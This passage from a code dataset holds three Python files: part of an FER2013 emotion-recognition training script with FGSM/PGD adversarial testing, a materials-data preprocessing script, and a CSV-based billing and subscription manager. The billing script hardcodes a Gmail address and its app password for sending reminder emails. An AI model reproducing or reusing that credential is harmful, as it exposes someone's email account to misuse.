correct = 0\r\n    total = 0\r\n    for batch_idx, (inputs, targets) in enumerate(finalPrivateTestloader):\r\n        bs, ncrops, c, h, w = np.shape(inputs)\r\n        inputs = inputs.view(-1, c, h, w)\r\n        if use_cuda:\r\n            inputs, targets = inputs.cuda(), targets.cuda()\r\n\r\n        if use_cuda:\r\n            inputs, targets = inputs.cuda(), targets.cuda()\r\n        if opt.adv_test_flag:\r\n            if batch_idx % opt.adv_test_sample:\r\n                inputs = attack_fn(net, inputs, targets, bs=bs, ncrops=ncrops)\r\n\r\n        inputs, targets = Variable(inputs, volatile=True), Variable(targets)\r\n        outputs = net(inputs)\r\n        outputs_avg = outputs.view(bs, ncrops, -1).mean(1)  # avg over crops\r\n        loss = criterion(outputs_avg, targets)\r\n        # PrivateTest_loss += loss.data[0]\r\n        PrivateTest_loss += loss.item()\r\n        _, predicted = torch.max(outputs_avg.data, 1)\r\n        total += targets.size(0)\r\n        correct += predicted.eq(targets.data).cpu().sum().numpy()\r\n\r\n        utils.progress_bar(batch_idx, len(PrivateTestloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n                           % (PrivateTest_loss / (batch_idx + 1), 100. * float(correct) / total, correct, total))\r\n    # Save checkpoint.\r\n    PrivateTest_acc = 100.*correct/total\r\n\r\n    if PrivateTest_acc > best_PrivateTest_acc:\r\n        print('Saving..')\r\n        print(\"best_PrivateTest_acc: %0.3f\" % PrivateTest_acc)\r\n        state = {\r\n            'net': net.state_dict() if use_cuda else net,\r\n            'best_PublicTest_acc': best_PublicTest_acc,\r\n            'best_PrivateTest_acc': PrivateTest_acc,\r\n            'best_PublicTest_acc_epoch': best_PublicTest_acc_epoch,\r\n            'best_PrivateTest_acc_epoch': epoch,\r\n        }\r\n        if not os.path.isdir(path):\r\n            os.mkdir(path)\r\n        torch.save(state, os.path.join(path, 'PrivateTest_model.t7'))\r\n        best_PrivateTest_acc = PrivateTest_acc\r\n        best_PrivateTest_acc_epoch = epoch\r\n\r\n\r\nif __name__ == '__main__':\r\n    parser = argparse.ArgumentParser(description='PyTorch Fer2013 CNN Training')\r\n    parser.add_argument('--model', type=str, default='Resnet18', help='CNN architecture')\r\n    parser.add_argument('--dataset', type=str, default='FER2013', help='CNN architecture')\r\n    parser.add_argument('--bs', default=32, type=int, help='learning rate')\r\n    parser.add_argument('--lr', default=0.01, type=float, help='learning rate')\r\n    parser.add_argument('--resume', '-r', action='store_true', help='resume from checkpoint')\r\n    parser.add_argument('--attack', type=str, default='fgsm', help='attack function')\r\n    parser.add_argument('--epsilon', type=float, default=0.3, help='epsilon for attack function')\r\n    parser.add_argument('--pgd_step_size', type=float, default=0.01, help='step size for pgd')\r\n    parser.add_argument('--pgd_num_steps', type=int, default=40, help='num of steps for pgd')\r\n    parser.add_argument('--pgd_random_start', type=bool, default=True, help='random start for pgd')\r\n    parser.add_argument('--train', type=int, default=1, help='1 for train, 2,3 for train and val')\r\n    parser.add_argument('--adv_train_flag', type=bool, default=False, help='flag for whether to use adversarial')\r\n    parser.add_argument('--adv_test_flag', type=bool, default=True, help='flag for whether to use adversarial')\r\n    parser.add_argument('--adv_train_sample', type=int, default=10, help='every # steps to generate an adversarial sample')\r\n    parser.add_argument('--adv_test_sample', type=int, default=2, help='every # steps to generate an adversarial sample')\r\n\r\n    opt = parser.parse_args()\r\n\r\n    use_cuda = torch.cuda.is_available()\r\n    best_PublicTest_acc = 0.0  # best PublicTest accuracy\r\n    best_PublicTest_acc_epoch = 0\r\n    best_PrivateTest_acc = 0.0  # best PrivateTest accuracy\r\n    best_PrivateTest_acc_epoch = 0\r\n    start_epoch = 0  # start from epoch 0 or last checkpoint epoch\r\n\r\n    learning_rate_decay_start = 80  # 50\r\n    learning_rate_decay_every = 5  # 5\r\n    learning_rate_decay_rate = 0.9  # 0.9\r\n\r\n    cut_size = 44\r\n    total_epoch = 250\r\n\r\n    path = os.path.join(opt.dataset + '_' + opt.model)\r\n\r\n    # Data\r\n    print('==> Preparing data..')\r\n    transform_train = transforms.Compose([\r\n        transforms.RandomCrop(44),\r\n        transforms.RandomHorizontalFlip(),\r\n        transforms.ToTensor(),\r\n    ])\r\n\r\n    transform_test = transforms.Compose([\r\n        transforms.TenCrop(cut_size),\r\n        transforms.Lambda(lambda crops: torch.stack([transforms.ToTensor()(crop) for crop in crops])),\r\n    ])\r\n\r\n    data_transforms = {\r\n        'train': transform_train,\r\n        'test': transform_test,\r\n        'val': transform_test\r\n    }\r\n\r\n    trainset = FER2013(split='Training', transform=transform_train)\r\n    trainloader = torch.utils.data.DataLoader(trainset, batch_size=opt.bs, shuffle=True, num_workers=1)\r\n\r\n    PublicTestset = FER2013(split='PublicTest', transform=transform_test)\r\n    PublicTestloader = torch.utils.data.DataLoader(PublicTestset, batch_size=opt.bs, shuffle=True, num_workers=1)\r\n\r\n    PrivateTestset = FER2013(split='PrivateTest', transform=transform_test)\r\n    PrivateTestloader = torch.utils.data.DataLoader(PrivateTestset, batch_size=opt.bs, shuffle=True, num_workers=1)\r\n\r\n    # data_dir = r\"C:\\Users\\lenovo\\Desktop\\course\\ML\\fer_project\\data\"\r\n    # image_datasets = {x: datasets.ImageFolder(os.path.join(data_dir, x), data_transforms[x]) for x in\r\n    #                   ['train', 'test', 'val']}\r\n    # dataloaders = {x: torch.utils.data.DataLoader(image_datasets[x], batch_size=opt.bs, shuffle=True, num_workers=1)\r\n    #                for x in ['train', 'test', 'val']}\r\n    # dataset_sizes = {x: len(image_datasets[x]) for x in ['train', 'test', 'val']}\r\n    # class_names = image_datasets['train'].classes\r\n    #\r\n    # trainloader = dataloaders['train']\r\n    # PrivateTestloader = dataloaders['test']\r\n    # PublicTestloader = dataloaders['val']\r\n\r\n    # Model\r\n    if opt.model == 'VGG19':\r\n        net = VGG('VGG19')\r\n    elif opt.model == 'Resnet18':\r\n        net = ResNet18()\r\n    elif opt.model == 'Resnet34':\r\n        net = ResNet34()\r\n    elif opt.model == 'Resnet50':\r\n        net = ResNet50()\r\n    elif opt.model == 'Resnet101':\r\n        net = ResNet101()\r\n    elif opt.model == 'Resnet152':\r\n        net = ResNet152()\r\n        print('using Resnet152')\r\n\r\n    if opt.resume:\r\n        # Load checkpoint.\r\n        print('==> Resuming from checkpoint..')\r\n        assert os.path.isdir(path), 'Error: no checkpoint directory found!'\r\n        checkpoint = torch.load(os.path.join(path, 'PrivateTest_model.t7'))\r\n\r\n        net.load_state_dict(checkpoint['net'])\r\n        best_PublicTest_acc = checkpoint['best_PublicTest_acc']\r\n        best_PrivateTest_acc = checkpoint['best_PrivateTest_acc']\r\n        best_PrivateTest_acc_epoch = checkpoint['best_PublicTest_acc_epoch']\r\n        best_PrivateTest_acc_epoch = checkpoint['best_PrivateTest_acc_epoch']\r\n        start_epoch = checkpoint['best_PrivateTest_acc_epoch'] + 1\r\n    else:\r\n        print('==> Building model..')\r\n\r\n    if use_cuda:\r\n        net.cuda()\r\n\r\n    criterion = nn.CrossEntropyLoss()\r\n    optimizer = optim.SGD(net.parameters(), lr=opt.lr, momentum=0.9, weight_decay=5e-4)\r\n\r\n    if opt.attack == 'pgd':\r\n        attack_fn = partial(ATTACKS[opt.attack],\r\n                            epsilon=opt.epsilon,\r\n                            step_size=opt.pgd_step_size,\r\n                            num_steps=opt.pgd_num_steps,\r\n                            random_start=opt.pgd_random_start)\r\n    else:\r\n        attack_fn = partial(ATTACKS[opt.attack], epsilon=opt.epsilon)\r\n    advTrainLoader = AdversarialLoader(net, trainloader, attack_fn)\r\n    finalTrainLoader = CombineLoaders([trainloader, advTrainLoader])\r\n\r\n    advPublicTestLoader = AdversarialLoader(net, PublicTestloader, attack_fn)\r\n    finalPublicTestLoader = CombineLoaders([PublicTestloader, advPublicTestLoader])\r\n\r\n    advPrivateTestLoader = AdversarialLoader(net, PrivateTestloader, attack_fn)\r\n    finalPrivateTestLoader = CombineLoaders([PrivateTestloader, advPrivateTestLoader])\r\n\r\n    # 1 to train, 2 to val, 3 to train and val\r\n    if opt.train == 1:\r\n        for epoch in range(start_epoch, total_epoch):\r\n            train(epoch, trainloader)\r\n    if opt.train == 2:\r\n        print('==>Val the model')\r\n        PublicTest(start_epoch, PublicTestloader)\r\n        PrivateTest(start_epoch, PrivateTestloader)\r\n    if opt.train == 3:\r\n        for epoch in range(start_epoch, total_epoch):\r\n            train(epoch, trainloader)\r\n            PublicTest(epoch, PublicTestloader)\r\n            PrivateTest(epoch, PrivateTestloader)\r\n\r\n    print(\"best_PublicTest_acc: %0.3f\" % best_PublicTest_acc)\r\n    print(\"best_PublicTest_acc_epoch: %d\" % best_PublicTest_acc_epoch)\r\n    print(\"best_PrivateTest_acc: %0.3f\" % best_PrivateTest_acc)\r\n    print(\"best_PrivateTest_acc_epoch: %d\" % best_PrivateTest_acc_epoch)\r\n", "repo_name": "597924594/ML_final_project", "sub_path": "facial-rec/mainpro_FER.py", "file_name": "mainpro_FER.py", "file_ext": "py", "file_size_in_byte": 15751, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "adversarial.pgd", "line_number": 36, "usage_type": "name"}, {"api_name": "adversarial.fgsm", "line_number": 37, "usage_type": "name"}, {"api_name": "utils.set_lr", "line_number": 76, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 94, "usage_type": "call"}, {"api_name": "utils.clip_gradient", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 102, "usage_type": "call"}, {"api_name": "tqdm.tqdm.write", "line_number": 108, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 108, "usage_type": "name"}, {"api_name": "torch.save", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "numpy.shape", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 162, "usage_type": "call"}, {"api_name": "utils.progress_bar", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path", "line_number": 179, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path", "line_number": 181, "usage_type": "attribute"}, {"api_name": "numpy.shape", "line_number": 195, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 212, "usage_type": "call"}, {"api_name": "utils.progress_bar", "line_number": 216, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 232, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 233, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 233, "usage_type": "call"}, {"api_name": "os.path", "line_number": 233, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 239, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 258, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 258, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 272, "usage_type": "call"}, {"api_name": "os.path", "line_number": 272, "usage_type": "attribute"}, {"api_name": "transforms.Compose", "line_number": 276, "usage_type": "call"}, {"api_name": "transforms.RandomCrop", "line_number": 277, "usage_type": "call"}, {"api_name": "transforms.RandomHorizontalFlip", "line_number": 278, "usage_type": "call"}, {"api_name": "transforms.ToTensor", "line_number": 279, "usage_type": "call"}, {"api_name": "transforms.Compose", "line_number": 282, "usage_type": "call"}, {"api_name": "transforms.TenCrop", "line_number": 283, "usage_type": "call"}, {"api_name": "transforms.Lambda", "line_number": 284, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 284, "usage_type": "call"}, {"api_name": "transforms.ToTensor", "line_number": 284, "usage_type": "call"}, {"api_name": "fer.FER2013", "line_number": 293, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 294, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 294, "usage_type": "attribute"}, {"api_name": "fer.FER2013", "line_number": 296, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 297, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 297, "usage_type": "attribute"}, {"api_name": "fer.FER2013", "line_number": 299, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 300, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 300, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 332, "usage_type": "call"}, {"api_name": "os.path", "line_number": 332, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 333, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 333, "usage_type": "call"}, {"api_name": "os.path", "line_number": 333, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 347, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 347, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 348, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 348, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 351, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 357, "usage_type": "call"}, {"api_name": "adversarial.AdversarialLoader", "line_number": 358, "usage_type": "call"}, {"api_name": "adversarial.AdversarialLoader", "line_number": 361, "usage_type": "call"}, {"api_name": "adversarial.AdversarialLoader", "line_number": 364, "usage_type": "call"}]}
{"seq_id": "26593433446", "text": "import argparse\nimport logging\nimport os\n\nimport numpy as np\n\nfrom utils.dataset import *\nfrom utils.voronoi_neighbor import parallel_compute_neighbor\n\n# Define dictionary mapping dataset names to functions\ndataset_functions = {\n    \"qm9\": process_qm9,\n    \"qm9_std_jctc\": process_qm9_std_jctc,\n    \"fullerene\": process_fullerene,\n    \"ptgp\": process_gp,\n    \"smfe\": process_smfe,\n    \"mp2018\": process_mp2018,\n}\n\n\ndef init_dataset(dataset=\"qm9\", save_path=\"\", d_t=4.0, w_t=0.2, p=8):\n    # Call the appropriate function based on the dataset name\n    if dataset in dataset_functions:\n        print(f\"Init dataset {dataset}:\")\n        if not os.path.exists(os.path.join(save_path, dataset)):\n            dataset_functions[dataset](save_path)\n    else:\n        print(f\"Dataset {dataset} is not recognized.\")\n\n    parallel_compute_neighbor(\n        dataset_path=os.path.join(save_path, dataset, dataset + \"_data_energy.npy\"),\n        save_path=os.path.join(\n            save_path,\n            dataset,\n            \"{}_data_neighbor_dt{}_wt{}.npy\".format(dataset, d_t, w_t),\n        ),\n        d_t=d_t,\n        w_t=w_t,\n        pool=p,\n    )\n\n\ndef main(args):\n    init_dataset(args.dataset, args.save_path, args.dt, args.wt, args.p)\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Process some integers.\")\n    parser.add_argument(\n        \"dataset\",\n        type=str,\n        default=\"qm9\",\n        help=\"Target dataset, support [qm9, qm9_std_jctc, fullerene, ptgp, smfe, mp2018]\",\n    )\n\n    parser.add_argument(\n        \"save_path\",\n        type=str,\n        default=\"processed_data\",\n        help=\"Whether to save processed data\",\n    )\n\n    parser.add_argument(\"--dt\", type=float, default=4.0, help=\"Cutoff distance\")\n\n    parser.add_argument(\"--wt\", type=float, default=0.4, help=\"Cutoff angle\")\n\n    parser.add_argument(\n        \"--p\",\n        type=int,\n        default=8,\n        help=\"Using multiprocess (8 pool) for faster computing\",\n    )\n\n    args = parser.parse_args()\n    main(args)\n", "repo_name": "sinhvt3421/scann-material", "sub_path": "preprocess_data.py", "file_name": "preprocess_data.py", "file_ext": "py", "file_size_in_byte": 2024, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "utils.voronoi_neighbor.parallel_compute_neighbor", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "27776089167", "text": "from email.message import EmailMessage\nimport os\nimport ssl\nimport smtplib\nfrom datetime import date\nfrom datetime import date\nimport csv\nimport datetime\nfrom email_validator import validate_email, EmailNotValidError\nprint(\"******Menu********\")\n\ndef choose():\n    choice = input('''\nEnter your Choice\n1.Customer \n2.Subscription\n3.send email\n4.Exit\ninput:-''')\n    choice_1 = {'1':customer,'2':subscription,'3':send_email,'4':exit}\n    if choice not in choice_1:\n        print(\"Enter a valid number\")\n        return choose()\n    choice_1.get(choice)()\n    \n    \ndef customer():\n    print(\"Select the choice\")\n    choice_2=input('''\n    Enter your choice\n    1. Create Customer\n    2.Retrive Customer\n    3. Delete Customer\n    4.List Customer\n    5. Update \n    6. Exit \n    input:-''')\n    choice={'1':create_customer,\n    '2':retrive_customer,\n    '3':delete_customer,\n    '4':lis_customer,\n    '5':update_customer,\n    '6':exit}\n    if choice_2 not in choice:\n        print(\"Enter a valid number\")\n        return customer()\n    choice.get(choice_2)()\n\n    \ndef create_customer():\n    Name=input(\"Enter your name:-\")   \n    Phone=int(input(\"Enter Your Phone Number:-\"))\n    Created_at = date.today()\n    Status = input(\"Enter your status active or inactive enter:-\")\n    Email = input(\"Enter your email:-\")\n    check_valid_email(Email)\n    # file_exists = os.path.isfile('subscription.csv')\n    with open('/home/intern/Desktop/Django/BMS/customer.csv', mode='a+') as csv_file:\n        fieldnames = ['Name', 'Email', 'Phone','Created_at','Status']\n        writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n        if not  csv_file:\n            writer.writeheader()\n        writer.writerow({'Name': Name,\n         'Email': Email, \n         'Phone':Phone,\n         'Created_at':Created_at,\n         'Status':Status})\n    \n        \ndef retrive_customer():\n    search = input(\"Enter the customer Name:-\")\n    with open('/home/intern/Desktop/Django/BMS/customer.csv', newline='') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n            if row['Name'] == search:\n                print(row)\n    \n\ndef delete_customer():\n    lines = list() \n    lines1=[]\n    memberName = input(\"Please enter a member's name to be deleted:-\")\n    with open('/home/intern/Desktop/Django/BMS/customer.csv', 'r') as readFile:\n        reader = csv.reader(readFile)\n        for row in reader:\n            lines.append(row)\n            for field in row:\n                if field == memberName:\n                    lines.remove(row)\n    with open('/home/intern/Desktop/Django/BMS/customer.csv', 'w') as writeFile:\n        writer = csv.writer(writeFile)\n        writer.writerows(lines)\n    with open('/home/intern/Desktop/Django/BMS/subcription.csv', 'r') as readFile:\n        reader = csv.reader(readFile)\n        for row in reader:\n            lines1.append(row)\n            for field in row:\n                if field == memberName:\n                    lines1.remove(row)\n    with open('/home/intern/Desktop/Django/BMS/subcription.csv', 'w') as writeFile:\n        writer = csv.writer(writeFile)\n        writer.writerows(lines1)\n\ndef lis_customer():\n    print(\"***list choices****\")\n    choice_3 = input('''choice any one\n    1.All data\n    2.Active\n    3.Exit\n    input:-''')\n    choice = {'1':all_data,'2':active_inactive,'3':exit}\n    choice.get(choice_3)()\n\n\ndef update_customer():\n    from tempfile import NamedTemporaryFile\n    import shutil\n    import csv\n    search = input(\"Enter the customer Name\")\n    filename = '/home/intern/Desktop/Django/BMS/customer.csv'\n    tempfile = NamedTemporaryFile(mode='w', delete=False)\n    fields = ['Name', 'Email', 'Phone','Created_at','Status']\n    with open(filename, 'r') as csvfile, tempfile:\n        reader = csv.DictReader(csvfile, fieldnames=fields)\n        writer = csv.DictWriter(tempfile, fieldnames=fields)\n        for row in reader:\n            if row['Name'] == search:\n                print('updating row', row['Name'])\n                row['Name'], row['Email'], row['Phone'],row['Status'] = input(\"Name\"),\n                input(\"Email\"), \n                input(\"Phone\"),\n                input(\"Status\")\n            row = {'Name': row['Name'], \n            'Email': row['Email'], \n            'Phone': row['Phone'],\n            'Created_at': row['Created_at'],\n            'Status':row['Status']}\n            writer.writerow(row)\n    shutil.move(tempfile.name, filename)\n                \ndef all_data():\n    with open('/home/intern/Desktop/Django/BMS/customer.csv', newline='') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n            print(row)\ndef active_inactive():\n    status = input(\"Enter active user or inactive user data you want options:- active/inactive enter-:\")\n    with open('/home/intern/Desktop/Django/BMS/customer.csv', newline='') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n            if row['Status'] == status:\n                print(row)\n            elif row['Status'] == status:\n                print(row)\ndef check_valid_email(email):\n    try:\n      # validate and get info\n        v = validate_email(email)\n        # replace with normalized form\n        # email = v[\"email\"] \n        \n    except EmailNotValidError as e:\n        # email is not valid, exception message is human-readable form ma\n        print(str(e))\n        # return create_customer()\n\n\ndef subscription():\n    print(\"**** MENU *******\")\n    print(\"Select the choice\")\n    choice_2=input('''\n    Enter your choice\n    1. Create Customer subcription\n    2. Retrive Customer subcription\n    3. Delete Customer subcription\n    4. List Customer subcription\n    5. Update customer subcription\n    6. Exit \n    input:-''')\n    choice={'1':create_customer_subscription,'2':retrive_customer_subscription,'3':delete_customer_subscription,'4':lis_customer_subscription,'5':update_customer_subscription,'6':exit}\n    if choice_2 not in choice:\n        print(\"Enter a valid input\")\n        subscription()\n    choice.get(choice_2)()\n    \n\n\ndef create_customer_subscription():\n    customer_name = input(\"Enter Your Name:-\")\n    with open('/home/intern/Desktop/Django/BMS/customer.csv', newline='') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for data in reader:\n            if data['Name'] == customer_name: \n                email = data['Email']\n                check_valid_email(email)\n                from_date = date.today()\n                status = input(\"Select the criteria paid or unpaid enter paid or unpaid:- \")\n                if status == 'paid':\n                    subscription_time = input('''Enter the subscription  option \n                type \n                1month\n                6month\n                1year\n                input:-''')   \n                    \n                    subscription_tim ={'1month':{'amount':300,'to_date':from_date + datetime.timedelta(days=30)},\n                    '6month':{'amount':1200,'to_date':from_date + datetime.timedelta(days=180)},\n                    '1year':{'amount':2000,'to_date':from_date + datetime.timedelta(days=360)}}\n                    amount_data=subscription_tim[subscription_time]['amount']\n                    to_date_data=subscription_tim[subscription_time]['to_date']\n                    \n                else:\n                    subscription_time=0\n                    amount_data=0\n                    to_date_data=0\n                    print(\"You are not subscribed\")\n                # file_exists = os.path.isfile('subscription.csv')\n\n                with open('/home/intern/Desktop/Django/BMS/subcription.csv', mode='a+') as csv_files:\n                    fieldnames = ['customer_name','email', 'from_date', 'subscription_time','status','amount','to_date']\n                    writer = csv.DictWriter(csv_files, fieldnames=fieldnames)\n                    if  not  csv_files:\n                        writer.writeheader()\n                    writer.writerow({\n                    'customer_name': customer_name,\n                    'email':email, \n                    'from_date': from_date, \n                    'subscription_time':subscription_time,\n                    'status':status,\n                    'amount':amount_data,\n                    'to_date':to_date_data\n                    })\n        subscription()\n        print(\"Name does not match with registered customer\")\n\ndef retrive_customer_subscription():\n    search = input(\"Enter the customer Name:-\")\n    with open('/home/intern/Desktop/Django/BMS/subcription.csv', newline='') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n            if row['customer_name'] == search:\n                print(row)\n\ndef delete_customer_subscription():\n    lines1 = [] \n    memberName = input(\"Please enter a member's name to be deleted:-\")\n    with open('/home/intern/Desktop/Django/BMS/subcription.csv', 'r') as readFile:\n        reader = csv.reader(readFile)\n        for row in reader:\n            lines1.append(row)\n            for field in row:\n                if field == memberName:\n                    lines1.remove(row)\n    with open('/home/intern/Desktop/Django/BMS/subcription.csv', 'w') as writeFile:\n        writer = csv.writer(writeFile)\n        writer.writerows(lines1)\n\ndef lis_customer_subscription():\n    print(\"***list choices****\")\n    choice_3 = input('''choice any one\n    1.All data\n    2.Paid/Unpaid\n    3.Exit\n    input:-''')\n    choice = {'1':all_subscription,'2':paid_unpaid,'3':exit}\n    choice.get(choice_3)()\n    \n\ndef update_customer_subscription():\n    from tempfile import NamedTemporaryFile\n    import shutil\n    import csv\n    search = input(\"Enter the subscriber Name\")\n    filename = '/home/intern/Desktop/Django/BMS/subcription.csv'\n    tempfile = NamedTemporaryFile(mode='w', delete=False)\n    fields = ['customer_name', 'from_date', 'subcription_time','status','amount','to_date']\n\n    with open(filename, 'r') as csvfile, tempfile:\n        reader = csv.DictReader(csvfile, fieldnames=fields)\n        writer = csv.DictWriter(tempfile, fieldnames=fields)\n        for row in reader:\n            if row['customer_name'] == search:\n                print('updating row', row['customer_name'])\n                row['customer_name'], row['from_date'], row['subcription_time'],row['status'],row['amount'],row['to_date'] = input(\"customer_name\"),input(\"from_date\"),input(\"subcription_time\"), input(\"status\"),input(\"amount\"),input(\"to_date\")\n            row = {'customer_name': row['customer_name'], 'from_date': row['from_date'], 'subcription_time': row['subcription_time'], 'status': row['status'],'amount':row['amount'],'to_date':row['to_date']}\n            writer.writerow(row)\n    shutil.move(tempfile.name, filename)\n\n\ndef all_subscription():\n    with open('/home/intern/Desktop/Django/BMS/subcription.csv', newline='') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n            print(row)\n\n\n\ndef paid_unpaid():\n    status = input(\"Enter paid or unpaid subcription  user data you want options:- paid/unpaid enter-:\")\n    with open('/home/intern/Desktop/Django/BMS/subcription.csv', newline='') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n            if row['status'] == status:\n                print(row)\n            elif row['status'] == status:\n                print(row)\n\n\n\ndef send_email():   \n    with open('/home/intern/Desktop/Django/BMS/subcription.csv', newline='') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:           \n            from datetime import datetime\n            if row['status'] == 'paid':\n                d1=row['from_date']\n                d2=row['to_date']\n                startdate = datetime.strptime(d1, '%Y-%m-%d').date()\n                enddate = datetime.strptime(d2, '%Y-%m-%d').date()\n                result=enddate-startdate\n                subtractdate=result.days\n                print(subtractdate)\n            \n                if subtractdate <= 5 and row['status']=='paid':\n                    \n                    email_sender='074bex006.lalit@sagarmatha.edu.np'\n                    email_password='yybjkbusiqtabkqo'\n                    email_receiver=row['email']\n\n                    subject=\"Subscription time is going to timeout!!!\"\n                    body=\"\"\"\"\n            Your subscripton is running out so please buy subscription at timely.\n            Thank You!!!\n\n\n            \"\"\"      \n                    em=EmailMessage()\n                    em['from']=email_sender\n                    em['to']=email_receiver\n                    em['subject']=subject\n                    em.set_content(body)\n                    context=ssl.create_default_context()\n                    with smtplib.SMTP_SSL('smtp.gmail.com',465,context=context) as smtp:\n                        smtp.login(email_sender,email_password)\n                        smtp.sendmail(email_sender,email_receiver,em.as_string())\n                    print(\"Congratulation your mail is send!!\")\nchoose()", "repo_name": "Lalit2055joshi/Billing-Management-System", "sub_path": "BMS/BMS.py", "file_name": "BMS.py", "file_ext": "py", "file_size_in_byte": 13052, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.date.today", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 53, "usage_type": "name"}, {"api_name": "csv.DictWriter", "line_number": 60, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 73, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 84, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 91, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 94, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 101, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 121, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 124, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 125, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 139, "usage_type": "call"}, {"api_name": "tempfile.name", "line_number": 139, "usage_type": "attribute"}, {"api_name": "csv.DictReader", "line_number": 143, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 149, "usage_type": "call"}, {"api_name": "email_validator.validate_email", "line_number": 158, "usage_type": "call"}, {"api_name": "email.message", "line_number": 158, "usage_type": "argument"}, {"api_name": "email_validator.EmailNotValidError", "line_number": 162, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 191, "usage_type": "call"}, {"api_name": "email.message", "line_number": 194, "usage_type": "name"}, {"api_name": "email.message", "line_number": 195, "usage_type": "argument"}, {"api_name": "datetime.date.today", "line_number": 196, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 196, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 206, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 207, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 208, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 221, "usage_type": "call"}, {"api_name": "email.message", "line_number": 226, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 